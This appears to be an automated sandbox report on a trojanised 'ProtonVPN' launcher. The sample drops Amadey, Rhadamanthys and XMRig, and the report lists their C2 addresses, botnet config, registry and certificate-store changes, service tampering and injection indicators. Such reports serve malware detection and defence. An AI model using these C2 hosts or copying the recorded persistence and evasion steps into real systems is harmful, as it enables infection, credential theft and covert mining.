amadey | 838ac92610147408c850191dc4d38af831391eb0013ee1342bd9a73079f632ff

Analysis

max time kernel
68s
max time network
69s
platform
windows11-21h2_x64
resource
win11-20240802-fr
resource tags

arch:x64arch:x86image:win11-20240802-frlocale:fr-fros:windows11-21h2-x64systemwindows
submitted
07-08-2024 18:56

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ProtonVPN-10_11/Launcher.exe
Size

364KB
MD5

93fde4e38a84c83af842f73b176ab8dc
SHA1

e8c55cc160a0a94e404f544b22e38511b9d71da8
SHA256

fb07af2aead3bdf360f555fc872191e43c2f0acbfc9258435f9a30afe272ba03
SHA512

48720aebe2158b8a58fc3431c2e6f68271fbade51303ad9cb5b0493efaec6053ff0c19a898841ef7c57a3c4d042ac8e7157fb3dc79593c1dfcdcf88e1469fdec
SSDEEP

6144:MpS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYqliwrqH1JWP6f:Mp8KLBzQ7Lcf3SiQs2FTTql9unNrkvT2

Score

10^/10

amadey rhadamanthys xmrig 9f93a2 discovery evasion execution miner persistence stealer trojan upx

Malware Config

Extracted

Family

amadey

Version

4.41

Botnet

9f93a2

http://185.208.158.116

http://185.209.162.226

http://89.23.103.42

Attributes

install_dir
3bca58cece
install_file
Hkbsse.exe
strings_key
554ac8d4ec8b2a0ead6c958fdfed18cb
url_paths
/hb9IvshS01/index.php

/hb9IvshS02/index.php

/hb9IvshS03/index.php

rc4.plain

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

plugin31849

description	pid	Process	procid_target
PID 1512 created 3088	1512	plugin31849	50

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 7 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/1012-220-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1012-225-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1012-221-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1012-226-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1012-224-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1012-223-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig
behavioral2/memory/1012-227-0x0000000140000000-0x0000000140848000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Start PowerShell.

execution

PowerShell

T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid	Process
4932	powershell.exe
728	powershell.exe
4284	powershell.exe
3972	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

UPX packed file 15 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/files/0x000500000002ac86-117.dat	upx
behavioral2/memory/4836-123-0x0000000140000000-0x0000000140E40000-memory.dmp	upx
behavioral2/memory/4724-182-0x0000000140000000-0x0000000140E40000-memory.dmp	upx
behavioral2/memory/1012-215-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-220-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-225-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-221-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-219-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-217-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-216-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-218-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-226-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-224-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-223-0x0000000140000000-0x0000000140848000-memory.dmp	upx
behavioral2/memory/1012-227-0x0000000140000000-0x0000000140848000-memory.dmp	upx

Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs

Web Service

T1102

Processes:

flow	ioc
8	bitbucket.org
13	raw.githubusercontent.com
27	raw.githubusercontent.com
28	bitbucket.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

Processes:

powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exe

pid	Process
2940	powercfg.exe
2296	powercfg.exe
4368	powercfg.exe
3948	powercfg.exe
3296	powercfg.exe
4720	powercfg.exe
4796	powercfg.exe
1088	powercfg.exe

Drops file in System32 directory 4 IoCs

Processes:

2plugin28438powershell.exekuytqawknxye.exe

description	ioc	Process
File opened for modification	C:\Windows\system32\MRT.exe	2plugin28438
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.exe
File opened for modification	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log	powershell.exe
File opened for modification	C:\Windows\system32\MRT.exe	kuytqawknxye.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs

Processes:

2plugin28438kuytqawknxye.exe

pid	Process
4836	2plugin28438
4836	2plugin28438
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe

Suspicious use of SetThreadContext 2 IoCs

Processes:

kuytqawknxye.exe

description	pid	Process	procid_target
PID 4724 set thread context of 4776	4724	kuytqawknxye.exe	205
PID 4724 set thread context of 1012	4724	kuytqawknxye.exe	208

Drops file in Windows directory 1 IoCs

Processes:

3plugin13200

description	ioc	Process
File created	C:\Windows\Tasks\Hkbsse.job	3plugin13200

Executes dropped EXE 13 IoCs

Processes:

Launhcer.exeLauncher.exewget.exewinrar.exeplugin31849wget.exewinrar.exe2plugin28438wget.exewinrar.exe3plugin13200Hkbsse.exekuytqawknxye.exe

pid	Process
228	Launhcer.exe
4656	Launcher.exe
1832	wget.exe
4816	winrar.exe
1512	plugin31849
2292	wget.exe
1776	winrar.exe
4836	2plugin28438
2692	wget.exe
2204	winrar.exe
936	3plugin13200
2584	Hkbsse.exe
4724	kuytqawknxye.exe

Launches sc.exe 14 IoCs

Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exe

pid	Process
1148	sc.exe
4968	sc.exe
460	sc.exe
2256	sc.exe
3624	sc.exe
2784	sc.exe
4696	sc.exe
1316	sc.exe
3324	sc.exe
1056	sc.exe
4716	sc.exe
4596	sc.exe
4436	sc.exe
2252	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 24 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	Process	procid_target
4388	1512	WerFault.exe	92
1012	936	WerFault.exe	104
4552	936	WerFault.exe	104
2632	936	WerFault.exe	104
2612	936	WerFault.exe	104
2148	936	WerFault.exe	104
3724	936	WerFault.exe	104
4312	936	WerFault.exe	104
1892	936	WerFault.exe	104
1056	936	WerFault.exe	104
2412	936	WerFault.exe	104
4588	936	WerFault.exe	104
4436	2584	WerFault.exe	123
4696	2584	WerFault.exe	123
4512	2584	WerFault.exe	123
3136	2584	WerFault.exe	123
404	2584	WerFault.exe	123
1408	2584	WerFault.exe	123
2420	2584	WerFault.exe	123
3868	2584	WerFault.exe	123
3540	2584	WerFault.exe	123
3512	2584	WerFault.exe	123
1744	2584	WerFault.exe	123
4740	2584	WerFault.exe	123

System Location Discovery: System Language Discovery 1 TTPs 16 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

openwith.exewget.execmd.exeLaunhcer.exepowershell.exewinrar.exeHkbsse.exeLauncher.exeLauncher.exeplugin31849wget.exewinrar.exepowershell.exewget.exewinrar.exe3plugin13200

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	openwith.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launhcer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Hkbsse.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Launcher.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	plugin31849
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wget.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	winrar.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	3plugin13200

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 3 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

Processes:

wget.exewget.exewget.exe

pid	Process
1832	wget.exe
2292	wget.exe
2692	wget.exe

Modifies data under HKEY_USERS 50 IoCs

Processes:

powershell.exedwm.exe

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1"	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	dwm.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

Processes:

Launcher.exe

description	ioc	Process
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 5c000000010000000400000000080000040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 040000000100000010000000c5dfb849ca051355ee2dba1ac33eb028030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba9531400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b0b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c0090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b060105050703080f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab2000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D69B561148F01C77C54578C10926DF5B856976AD\Blob = 190000000100000010000000d0fd3c9c380d7b65e26b9a3fedd39b8f0f00000001000000200000005229ba15b31b0c6f4cca89c2985177974327d1b689a3b935a0bd975532af22ab090000000100000054000000305206082b0601050507030206082b06010505070303060a2b0601040182370a030406082b0601050507030406082b0601050507030606082b0601050507030706082b0601050507030106082b06010505070308530000000100000040000000303e301f06092b06010401a032010130123010060a2b0601040182373c0101030200c0301b060567810c010330123010060a2b0601040182373c0101030200c00b000000010000003000000047006c006f00620061006c005300690067006e00200052006f006f00740020004300410020002d002000520033000000620000000100000020000000cbb522d7b7f127ad6a0113865bdf1cd4102e7d0759af635a7cf4720dc963c53b1400000001000000140000008ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc1d000000010000001000000001728e1ecf7a9d86fb3cec8948aba953030000000100000014000000d69b561148f01c77c54578c10926df5b856976ad040000000100000010000000c5dfb849ca051355ee2dba1ac33eb0282000000001000000630300003082035f30820247a003020102020b04000000000121585308a2300d06092a864886f70d01010b0500304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e301e170d3039303331383130303030305a170d3239303331383130303030305a304c3120301e060355040b1317476c6f62616c5369676e20526f6f74204341202d20523331133011060355040a130a476c6f62616c5369676e311330110603550403130a476c6f62616c5369676e30820122300d06092a864886f70d01010105000382010f003082010a0282010100cc2576907906782216f5c083b684ca289efd057611c5ad8872fc460243c7b28a9d045f24cb2e4be1608246e152ab0c8147706cdd64d1ebf52ca30f823d0c2bae97d7b614861079bb3b1380778c08e149d26a622f1f5efa9668df892795389f06d73ec9cb26590d73deb0c8e9260e8315c6ef5b8bd20460ca49a628f6693bf6cbc82891e59d8a615737ac7414dc74e03aee722f2e9cfbd0bbbff53d00e10633e8822bae53a63a16738cdd410e203ac0b4a7a1e9b24f902e3260e957cbb904926868e538266075b29f77ff9114efae2049fcad401548d1023161195eb897efad77b7649a7abf5fc113ef9b62fb0d6ce0546916a903da6ee983937176c6698582170203010001a3423040300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff301d0603551d0e041604148ff04b7fa82e4524ae4d50fa639a8bdee2dd1bbc300d06092a864886f70d01010b050003820101004b40dbc050aafec80ceff796544549bb96000941acb3138686280733ca6be674b9ba002daea40ad3f5f1f10f8abf73674a83c7447b78e0af6e6c6f03298e333945c38ee4b9576caafc1296ec53c62de4246cb99463fbdc536867563e83b8cf3521c3c968fecedac253aacc908ae9f05d468c95dd7a58281a2f1ddecd0037418fed446dd75328977ef367041e15d78a96b4d3de4c27a44c1b737376f41799c21f7a0ee32d08ad0a1c2cff3cab550e0f917e36ebc35749bee12e2d7c608bc3415113239dcef7326b9401a899e72c331f3a3b25d28640ce3b2c8678c9612f14baeedb556fdf84ee05094dbd28d872ced36250651eeb92978331d9b3b5ca47583f5f	Launcher.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

Processes:

powershell.exepowershell.exeplugin31849openwith.exe2plugin28438powershell.exekuytqawknxye.exepowershell.exedwm.exe

pid	Process
4932	powershell.exe
4932	powershell.exe
728	powershell.exe
728	powershell.exe
1512	plugin31849
1512	plugin31849
4692	openwith.exe
4692	openwith.exe
4692	openwith.exe
4692	openwith.exe
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4284	powershell.exe
4284	powershell.exe
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4836	2plugin28438
4724	kuytqawknxye.exe
4724	kuytqawknxye.exe
